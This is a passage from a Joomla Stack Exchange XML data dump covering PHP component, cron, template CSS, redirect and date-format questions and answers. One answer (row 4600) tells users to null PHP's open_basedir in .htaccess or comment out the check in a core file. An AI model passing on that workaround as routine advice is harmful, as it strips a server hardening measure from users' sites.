exist just find&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It also calls the templateModel to clone new once until I my marker ****&#xA;The final TimeUnit Model -&gt;Save, or -&gt;getTable(); fails&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But only when called from the module&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What Am I doing wrong / violating any rules? Namespace imports&#xA;I don't understand how It can load and work the first two model levels, and then fail to load the last one. &#xA;I already figured I can't use 'JPATH_COMPONENT_SITE' to require files within my component if I want them to work from my module, I use &#xA;'JPATH_ROOT . '/components/com_byteitbooking/'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any pointers what I mite miss?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: additional code&#xA;I made this test, in my timeunit model extending JModelAdmin&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function getTable($type = self::THIS_CLASS_NAME, $prefix = COM_TABLE_PREFIX,   $config = array()) {&#xA;    dumpMessage(&quot;-&amp;gt; admin.MODEL.TimeUnit.getTable()&quot;);&#xA;    dumpMessage(&quot;-&amp;gt; $type,$prefix&quot;);&#xA;    dump($config,'$config');&#xA;    $tb = JTable::getInstance($type, $prefix, $config);&#xA;    dump($tb,'$tb');&#xA;    return $tb;&#xA;    //return JTable::getInstance($type, $prefix, $config);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;results 1st called from component, 2nd from module ...the vars are resolved correctly&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;admin.MODEL.TimeUnit.getTable() &lt;/li&gt;&#xA;&lt;li&gt;TimeUnit,ByteitBookingTable &lt;/li&gt;&#xA;&lt;li&gt;[array] $config = (empty)&lt;/li&gt;&#xA;&lt;li&gt;[ByteitBookingTableTimeUnit object] $tb &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;VS&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;admin.MODEL.TimeUnit.getTable() &lt;/li&gt;&#xA;&lt;li&gt;TimeUnit,ByteitBookingTable&lt;/li&gt;&#xA;&lt;li&gt;[array] $config = (empty)&lt;/li&gt;&#xA;&lt;li&gt;[boolean] $tb = FALSE&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Do I have to copy the models/tables into the module in order to use them? Is there some kind of restriction in Joomla I am missing?&lt;/p&gt;&#xA;" OwnerUserId="1950" LastEditorUserId="159" LastEditDate="2014-09-27T18:34:36.377" LastActivityDate="2015-02-27T09:41:53.473" Title="Saving JTable (in Component) fails when called from a module" Tags="|joomla-3.x|component|module|fix-my-code|model|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="4590" PostTypeId="2" ParentId="4573" CreationDate="2014-09-26T08:15:05.137" Score="5" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;what steps would you take to ensure that the look and feel works in synergy with Joomla and other templates?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;There's no way of knowing what will, and what will not, be supported in a template so my advice would be to not rely on a template to style your component at all. It is impossible to ensure the look and feel, that it ultimately decided by the template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's three possible approaches; 1) Do nothing, 2) Hope that the template will support BS2 or BS3 syntax and pick one of those, or 3) include your own css.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using the correct html elements for the job will mean that the template handles most of your styling anyway (option 1). For anything else use a logical class naming approach for your component elements, following the Joomla coding standards for &lt;a href=&quot;http://joomla.github.io/coding-standards/?coding-standards/chapters/html.md&quot; rel=&quot;nofollow&quot;&gt;html&lt;/a&gt; and &lt;a href=&quot;http://joomla.github.io/coding-standards/?coding-standards/chapters/css.md&quot; rel=&quot;nofollow&quot;&gt;css&lt;/a&gt; and include your own css with your component. If you do this &lt;em&gt;please&lt;/em&gt; provide a switch to disable it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I template developer I do the styling for any component I use, I neither need nor want component styles though I appreciate that some might. The best way is to provide simple options in your extension configuration; Load css? yes/no, Load js? yes/no. Failing that, please ensure that they are at least loaded from the view file so that they can be overridden without hacking your extension.&lt;/p&gt;&#xA;" OwnerUserId="296" LastEditorUserId="296" LastEditDate="2014-09-29T08:19:30.437" LastActivityDate="2014-09-29T08:19:30.437" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4591" PostTypeId="1" AcceptedAnswerId="4592" CreationDate="2014-09-26T10:10:49.307" Score="3" ViewCount="329" Body="&lt;p&gt;I have in root folder of my joomla website a php where i load joomla framework and create a xml output file, the first lines before i do a db request are:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define( '_JEXEC', 1 );&#xA;define( 'DS', DIRECTORY_SEPARATOR );&#xA;define( 'JPATH_BASE', realpath(dirname(__FILE__)));&#xA;&#xA;require_once ( JPATH_BASE .DS.'includes'.DS.'defines.php' );&#xA;require_once ( JPATH_BASE .DS.'includes'.DS.'framework.php' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If i run this file i get a well generated xml file, that's ok. but i need to set a cronjob for it, if i try to run cron job, i get this error message:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/PATH/my_file.php: line 1: ?php: No such file or directory&#xA;/PATH/my_file.php: line 2: syntax error near unexpected token `'_JEXEC','&#xA;/PATH/my_file.php: line 2: `    define( '_JEXEC', 1 );'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What i need to fix to get a correct cron job?&lt;/p&gt;&#xA;" OwnerUserId="1952" LastActivityDate="2014-09-26T10:29:29.903" Title="Joomla file with classic cronjob don't work?" Tags="|php|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4592" PostTypeId="2" ParentId="4591" CreationDate="2014-09-26T10:29:29.903" Score="1" Body="&lt;p&gt;You will need to define the path, starting from the very root of your server.&#xA;Try changing the command to the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;php /home/XXXX/public_html/my_file.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastActivityDate="2014-09-26T10:29:29.903" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4593" PostTypeId="2" ParentId="4571" CreationDate="2014-09-26T13:44:29.677" Score="6" Body="&lt;p&gt;What I would recommend doing is creating an install script that executes a &lt;code&gt;postflight&lt;/code&gt; function. This function is built into Joomla and will get executed after the extension has installed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could use something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function postflight($type, $parent)&#xA;{&#xA;    // We only need to perform this if the extension is being installed, not updated&#xA;    if (strtolower($type) === 'install') &#xA;    {       &#xA;        $db = JFactory::getDbo();&#xA;        $query = $db-&amp;gt;getQuery(true);&#xA;&#xA;        $fields = array(&#xA;            $db-&amp;gt;quoteName('enabled') . ' = 1',&#xA;            $db-&amp;gt;quoteName('ordering') . ' = 9999'&#xA;        );&#xA;&#xA;        $conditions = array(&#xA;            $db-&amp;gt;quoteName('element') . ' = ' . $db-&amp;gt;quote('plg_myplugin'), &#xA;            $db-&amp;gt;quoteName('type') . ' = ' . $db-&amp;gt;quote('plugin')&#xA;        );&#xA;&#xA;        $query-&amp;gt;update($db-&amp;gt;quoteName('#__extensions'))-&amp;gt;set($fields)-&amp;gt;where($conditions);&#xA;&#xA;        $db-&amp;gt;setQuery($query);   &#xA;        $db-&amp;gt;execute();     &#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For more information on the script file, have a read of the Joomla Documentation:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://docs.joomla.org/J2.5:Managing_Component_Updates_(Script.php)&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://docs.joomla.org/J2.5:Managing_Component_Updates_(Script.php)&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2017-01-29T15:46:45.777" LastActivityDate="2017-01-29T15:46:45.777" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4595" PostTypeId="1" CreationDate="2014-09-26T16:08:00.390" Score="2" ViewCount="674" Body="&lt;p&gt;I'm a Joomla, CSS and php newbie.  I was tasked with creating a site for the school I just started working for based on its already hacked-up Joomla 2.5 template. I hacked it some more to get the general required layout, but now have some frustrating bugs I can't fix.  I'm not allowed to go to a Joomla 3 template -- that's out of my hands.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the site:&#xA;&lt;a href=&quot;http://www.novaschool.org/index.php/nova-home&quot; rel=&quot;nofollow&quot;&gt;http://www.novaschool.org/index.php/nova-home&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are the issues:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;I cannot get links to work in the article, such as the blue &quot;value proposition&quot; image under that main splash graphic.  It should be like clicking the &quot;About Nova&quot; left menu item, but you can't even see a link on Chrome. It works in IE 9 on my computer.  I even put in a basic  tag, and Chrome won't recognize it.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I got the text links white for the menu, but no matter how/where I seem to try making the link colors dark for the article and that gray side news module, I can't get them to be any other color than white.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I am getting the dreaded &quot;you need javascript&quot; to see the text mailto links.  Of course, they are white right now, so you can't see them.  I've tried to deal with the cloaking, but to no avail.  Must be doing it wrong.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Any help would be appreciated.  Please understand that I am a novice, so I need the code syntax as well as specific location to paste it in.&lt;/p&gt;&#xA;" OwnerUserId="1953" LastEditorUserId="1629" LastEditDate="2014-09-26T16:22:17.283" LastActivityDate="2014-09-29T08:37:06.623" Title="2.5 template/css issues: article links not working in Chrome, link colors locked globally to white and email cloaking" Tags="|php|joomla-2.5|javascript|css|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="4596" PostTypeId="2" ParentId="4595" CreationDate="2014-09-26T16:21:52.027" Score="2" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;This is because your sidebar is overlapping the whole content area as it's width has been set to &lt;code&gt;90%&lt;/code&gt;. Go to line &lt;em&gt;180&lt;/em&gt; of your &lt;strong&gt;main.css&lt;/strong&gt; file and change the width to &lt;code&gt;18%&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The white links on the right sidebar are coming from line &lt;em&gt;104&lt;/em&gt; of your &lt;strong&gt;template.css&lt;/strong&gt; file. Somewhere in this file, simply add in &lt;code&gt;#right a { color: #000; }&lt;/code&gt; which will target all links on the right sidebar.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;I don't see any mailto links so no idea what the issue is here.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Before getting the site live, I would strongly suggest you do some research for HTML and CSS. The template structure is written rather badly, which is fine as I understand that you're new to this&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not sure why you're using Joomla for such a small site, but I rest my case about hacking into core files. Never a good idea, never, ever, ever &lt;strong&gt;ever&lt;/strong&gt;.&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2014-09-26T16:21:52.027" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4597" PostTypeId="2" ParentId="4595" CreationDate="2014-09-26T16:34:59.283" Score="1" Body="&lt;p&gt;Regarding your issue &lt;strong&gt;#3&lt;/strong&gt;:&lt;br&gt;&#xA;Joomla has a built-in email cloaking system. It works automatically, but you can turn it off by disabling the &quot;Content - Email Cloaking&quot; plugin (Extensions -&gt; Plugin Manager).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think in your case it has nothing to do with the plugin, but rather an error in the email link format. You should take a look at the source code of your article, it looks like your email link has a &lt;code&gt;&amp;lt;span id=&quot;&lt;/code&gt; code inside (the &lt;code&gt;&quot;&lt;/code&gt; creates a conflict in your code). Your HTML output looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a style=&quot;color: #3c87de; text-decoration: none;&quot; href=&quot;mailto:&amp;lt;span id=&quot; cloak36205&quot;=&quot;&quot;&amp;gt;This email address is being protected from spambots. You need JavaScript enabled to view it.&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Right-click your &lt;code&gt;mailto:&lt;/code&gt; link and make sure it's correctly formatted (&lt;code&gt;&amp;lt;a href=&quot;mailto:your@email.com&quot;&amp;gt;your@email.com&amp;lt;/a&amp;gt;&lt;/code&gt;), or click the &quot;Source Code&quot; (&lt;kbd&gt;&lt;strong&gt;&amp;lt;&gt;&lt;/strong&gt;&lt;/kbd&gt;) button in the Tiny MCE editor toolbar.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="1629" LastEditDate="2014-09-26T19:42:29.300" LastActivityDate="2014-09-26T19:42:29.300" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4599" PostTypeId="1" AcceptedAnswerId="4600" CreationDate="2014-09-27T02:58:54.827" Score="6" ViewCount="7216" Body="&lt;p&gt;I am trying to install a new extension in Joomla,But I am getting this error Message: &quot;JFolder::create: Path not in open_basedir paths Unable to create destination&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the solution?&lt;/p&gt;&#xA;" OwnerUserId="1682" LastActivityDate="2018-12-11T13:11:08.800" Title="How to deal with &quot;JFolder::create: Path not in open_basedir paths Unable to create destination&quot; while installing Joomla extensions?" Tags="|joomla-3.x|error-handling|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="4600" PostTypeId="2" ParentId="4599" CreationDate="2014-09-27T02:58:54.827" Score="6" Body="&lt;p&gt;I have test another solution thanks to the user &lt;a href=&quot;https://joomla.stackexchange.com/users/1520/farahmand&quot;&gt;@farahmand&lt;/a&gt; and it's worked very well and I decided to provide a step by step guide for the solution&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Solution One:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First find the exact absolute path to your &lt;code&gt;tmp&lt;/code&gt; folder by using this trick:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create a PHP file in your website root,for example &lt;code&gt;path.php&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Place this snippet of code in the file and hit the save button&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$path = getcwd();&#xA;echo &quot;Your Absolute Path is: &quot;;&#xA;echo $path;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Navigate to &lt;code&gt;yourdomain.com/path.php&lt;/code&gt; in your browser &lt;/p&gt;&#xA;&#xA;&lt;p&gt;From now on:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Login to your Joomla Administartor panel.&lt;/li&gt;&#xA;&lt;li&gt;Go to Global Configuration&lt;/li&gt;&#xA;&lt;li&gt;Click no the &quot;Server&quot; tab&lt;/li&gt;&#xA;&lt;li&gt;Change the path to the &lt;code&gt;&quot;Absolute Path(you've just found)&quot;/tmp&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Insert this line of code in your .htaccess file: &lt;code&gt;php_value open_basedir NULL&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this solution has been worked very well for me,and it's doesn't need any Joomla's core file hacking.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Here is another step by step guide for the second solution:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Login to Joomla Administartor panel.&lt;/li&gt;&#xA;&lt;li&gt;Go to Global Configuration&lt;/li&gt;&#xA;&lt;li&gt;Click &quot;Server&quot;&lt;/li&gt;&#xA;&lt;li&gt;Change the path from /public_html/tmp to &quot;tmp&quot;&lt;/li&gt;&#xA;&lt;li&gt;Login to control Panel(CPanel)&lt;/li&gt;&#xA;&lt;li&gt;Open File Manager&lt;/li&gt;&#xA;&lt;li&gt;Open Folder &quot;libraries&quot;&lt;/li&gt;&#xA;&lt;li&gt;Open Folder &quot;joomla&quot;&lt;/li&gt;&#xA;&lt;li&gt;Open Folder &quot;filesystem&quot;&lt;/li&gt;&#xA;&lt;li&gt;Right Click on &quot;folder.php&quot; and click Edit.&lt;/li&gt;&#xA;&lt;li&gt;Look for the line, (search = obd):&#xA;&lt;code&gt;$obd = ini_get('open_basedir');&lt;/code&gt; Comment out that line with // at the beginning so it becomes:&lt;code&gt;//$obd = ini_get('open_basedir');&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Save and Close.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I have tested &lt;a href=&quot;https://joomla.stackexchange.com/users/1629/johanpw&quot;&gt;@johanpw's solution&lt;/a&gt; and &lt;a href=&quot;https://joomla.stackexchange.com/a/4612/1682&quot;&gt;it's&lt;/a&gt; working very well too,but sometimes you can't change the Joomla configuration from Joomla Backend,so you must change the &lt;code&gt;configuration.php&lt;/code&gt; parameters directly using your control panel or a FTP account.&lt;/p&gt;&#xA;" OwnerUserId="1682" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2014-10-07T06:34:37.740" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4601" PostTypeId="1" CreationDate="2014-09-27T04:28:06.457" Score="2" ViewCount="1291" Body="&lt;p&gt;If I search by tags in smart search module it lists all tags.If I click on the tag it lists artices with that tag.Instead if I search by tags is there anyway to directly list articles with that tags??Please help me.&lt;/p&gt;&#xA;" OwnerUserId="1929" LastActivityDate="2017-04-30T13:00:48.850" Title="Changing layout of tag search in smart search results joomla 3.x" Tags="|joomla-3.x|tags|smartsearch|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4602" PostTypeId="2" ParentId="4563" CreationDate="2014-09-27T10:30:49.380" Score="3" Body="&lt;p&gt;You can &lt;a href=&quot;http://docs.joomla.org/Creating_a_custom_form_field_type&quot; rel=&quot;nofollow noreferrer&quot;&gt;create your own custom field types&lt;/a&gt; in Joomla. This example is for a module, but the same process works with components:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create this file: &lt;code&gt;/modules/mod_yourmodule/fields/datetime.php&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;// Check to ensure this file is included in Joomla!&#xA;defined('_JEXEC') or die('Restricted access');&#xA;&#xA;// Add CSS and JS&#xA;JHtml::stylesheet('http://netdna.bootstrapcdn.com/twitter-bootstrap/2.2.2/css/bootstrap-combined.min.css');&#xA;JHtml::stylesheet('http://tarruda.github.com/bootstrap-datetimepicker/assets/css/bootstrap-datetimepicker.min.css');&#xA;JHtml::script('http://tarruda.github.com/bootstrap-datetimepicker/assets/js/bootstrap-datetimepicker.min.js');&#xA;&#xA;jimport('joomla.form.formfield');&#xA;&#xA;class JFormFieldDateTime extends JFormField {&#xA;&#xA;    protected $type = 'DateTime';&#xA;&#xA;    public function getInput() {&#xA;            return '&amp;lt;div class=&quot;well&quot;&amp;gt;'.&#xA;                    '&amp;lt;div id=&quot;datetimepicker2&quot; class=&quot;input-append&quot;&amp;gt;'.&#xA;                        '&amp;lt;input data-format=&quot;MM/dd/yyyy HH:mm:ss PP&quot; type=&quot;text&quot;&amp;gt;&amp;lt;/input&amp;gt;'.&#xA;                        '&amp;lt;span class=&quot;add-on&quot;&amp;gt;'.&#xA;                          '&amp;lt;i data-time-icon=&quot;icon-time&quot; data-date-icon=&quot;icon-calendar&quot;&amp;gt;&amp;lt;/i&amp;gt;'.&#xA;                        '&amp;lt;/span&amp;gt;'.&#xA;                      '&amp;lt;/div&amp;gt;'.&#xA;                    '&amp;lt;/div&amp;gt;'.&#xA;                    '&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;'.&#xA;                      'jQuery(function() {'.&#xA;                        'jQuery(&quot;#datetimepicker2&quot;).datetimepicker({'.&#xA;                          'language: &quot;en&quot;,'.&#xA;                          'pick12HourFormat: true'.&#xA;                        '});'.&#xA;                      '});'.&#xA;                    '&amp;lt;/script&amp;gt;';&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now you have a custom field type. To use it, place this in your &lt;code&gt;.xml&lt;/code&gt; file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;fields name=&quot;params&quot;&amp;gt;&#xA;   &amp;lt;fieldset name=&quot;basic&quot; addfieldpath=&quot;/modules/mod_yourmodule/models/fields&quot;&amp;gt;&#xA;       &amp;lt;field name=&quot;title&quot; type=&quot;DateTime&quot; label=&quot;Select Date and Time&quot; description=&quot;&quot;   /&amp;gt;&#xA;   &amp;lt;/fieldset&amp;gt;&#xA;&amp;lt;/fields&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2Nw3d.jpg&quot; alt=&quot;Joomla Custom Field type&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Based on &lt;a href=&quot;http://tarruda.github.io/bootstrap-datetimepicker/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://tarruda.github.io/bootstrap-datetimepicker/&lt;/a&gt;)&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2014-09-27T10:30:49.380" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4603" PostTypeId="2" ParentId="4257" CreationDate="2014-09-27T13:15:31.783" Score="2" Body="&lt;p&gt;According to &lt;a href=&quot;http://docs.joomla.org/Enabling_user&amp;#39;s_registration_approval_by_admins&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; page, what you describe is the default behavior when you set user registration to &quot;Admin&quot;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Admin&lt;/strong&gt; &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;It is necessary that an administrator approves the account. Here is&#xA;  how the process goes:&lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;After registering the new user receives an e-mail message containing a link with a token to verify their e-mail address;&lt;/li&gt;&#xA;  &lt;li&gt;After the user's e-mail address has been verified, all users with the Receive System Messages option enabled will receive an e-mail&#xA;  message notifying them that a user has verified their e-mail address&#xA;  and requests that their account be activated. That email message will&#xA;  contain a link with a token to activate the account;&lt;/li&gt;&#xA;  &lt;li&gt;Once an administrator has activated the account, the user will receive an e-mail message notifying them that they may now login.&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;As an alternative, you might try a plugin called &lt;a href=&quot;http://extensions.joomla.org/extensions/access-a-security/site-access/email-authentication/26059&quot; rel=&quot;nofollow&quot;&gt;Admin Approval&lt;/a&gt;, it looks like it does the same thing. &lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2014-09-27T13:15:31.783" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4604" PostTypeId="2" ParentId="4585" CreationDate="2014-09-27T13:50:01.367" Score="4" Body="&lt;p&gt;I have not tested it with Redirect Component but you can not redirect url with GET parameters as they get passed in a different variable in Apache. So your source would be ignored.&lt;br&gt;&#xA;You would need to write it in the .htaccess file with extra settings: (not tested)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond %{QUERY_STRING} (^|&amp;amp;)query=param(&amp;amp;|$) [NC]&#xA;RewriteCond %{REQUEST_URI} ^/menu [NC]&#xA;RewriteRule .* /destination [R=301,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See for other examples:&lt;br&gt;&#xA;&lt;a href=&quot;https://wiki.apache.org/httpd/RewriteQueryString&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://wiki.apache.org/httpd/RewriteQueryString&lt;/a&gt;&lt;br&gt;&#xA;&lt;a href=&quot;https://stackoverflow.com/questions/19165811/htaccess-rewrite-with-http-host-and-query-string&quot;&gt;https://stackoverflow.com/questions/19165811/htaccess-rewrite-with-http-host-and-query-string&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="109" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2014-09-27T13:50:01.367" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4605" PostTypeId="2" ParentId="4512" CreationDate="2014-09-28T01:14:32.107" Score="1" Body="&lt;p&gt;Although you say you don't want to use third party extensions, I have a solution that uses &lt;a href=&quot;http://extensions.joomla.org/extensions/core-enhancements/coding-a-scripts-integration/code-snippets/9013&quot; rel=&quot;nofollow noreferrer&quot;&gt;RokCandy from RocketTheme&lt;/a&gt;. It's a small snippet component that makes it very easy to add the search field in the menu. Simply install the plugin, and create a new macro like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Macro&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; [searchfield][/searchfield]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;HTML&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form action=&quot;index.php&quot; method=&quot;post&quot; class=&quot;form-inline&quot; _lpchecked=&quot;1&quot;&amp;gt;&#xA; &amp;lt;input name=&quot;searchword&quot; id=&quot;mod-search-searchword&quot; maxlength=&quot;20&quot; class=&quot;inputbox search-query&quot; type=&quot;text&quot; size=&quot;20&quot; value=&quot;Search...&quot; onblur=&quot;if (this.value=='') this.value='Search...';&quot; onfocus=&quot;if (this.value=='Search...') this.value='';&quot;&amp;gt;       &#xA; &amp;lt;input type=&quot;hidden&quot; name=&quot;task&quot; value=&quot;search&quot;&amp;gt;&#xA; &amp;lt;input type=&quot;hidden&quot; name=&quot;option&quot; value=&quot;com_search&quot;&amp;gt;&#xA; &amp;lt;input type=&quot;hidden&quot; name=&quot;Itemid&quot; value=&quot;101&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Save and close.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now create a menu item for the search box (I suggest &lt;code&gt;External URL&lt;/code&gt; as type, but any menu item type will do), and in the &lt;strong&gt;Title&lt;/strong&gt; field, add &lt;code&gt;[searchfield][/searchfield]&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/w5j9u.jpg&quot; alt=&quot;Searchfield in menu&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;RokCandy will replace the title with the code in the macro, and you'll get a search field in the menu:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UXhU1.jpg&quot; alt=&quot;Result&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2014-09-28T01:14:32.107" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4606" PostTypeId="1" CreationDate="2014-09-28T09:24:31.273" Score="1" ViewCount="109" Body="&lt;p&gt;I understand the date format is defined in the language files, via the constant DATE_FORMAT_LC2. Also, that this can be changed via the backend language override. But that is still a file based override.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We're planning a multi-site setup using parked domains and some shared database tables. The parked domains are to be marketed to different countries and each will have it's preferred date format. One hack here would be to use a unique language file for each parked domain name but that's a lot of effort just to change the date format.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any ideas for changing the date format via the database instead of via the language files? A hack that does not involve changing Joomla core files would obviously be preferred.&lt;/p&gt;&#xA;" OwnerUserId="1958" LastEditorUserId="159" LastEditDate="2014-09-29T06:35:27.033" LastActivityDate="2014-09-29T06:35:27.033" Title="Date format override for international multi-site setup" Tags="|joomla-2.5|overrides|multilingual|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4607" PostTypeId="2" ParentId="4606" CreationDate="2014-09-28T10:00:21.607" Score="1" Body="&lt;p&gt;Joomla has a built-in feature for this which saves having to edit language files. In the backend You need to go to:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Extensions&lt;/strong&gt; (top) &gt;&gt; &lt;strong&gt;Language Manager&lt;/strong&gt; &gt;&gt; &lt;strong&gt;Overrides&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On this page, you can add different translations for language strings which will be saved via the database.&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2014-09-28T10:00:21.607" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
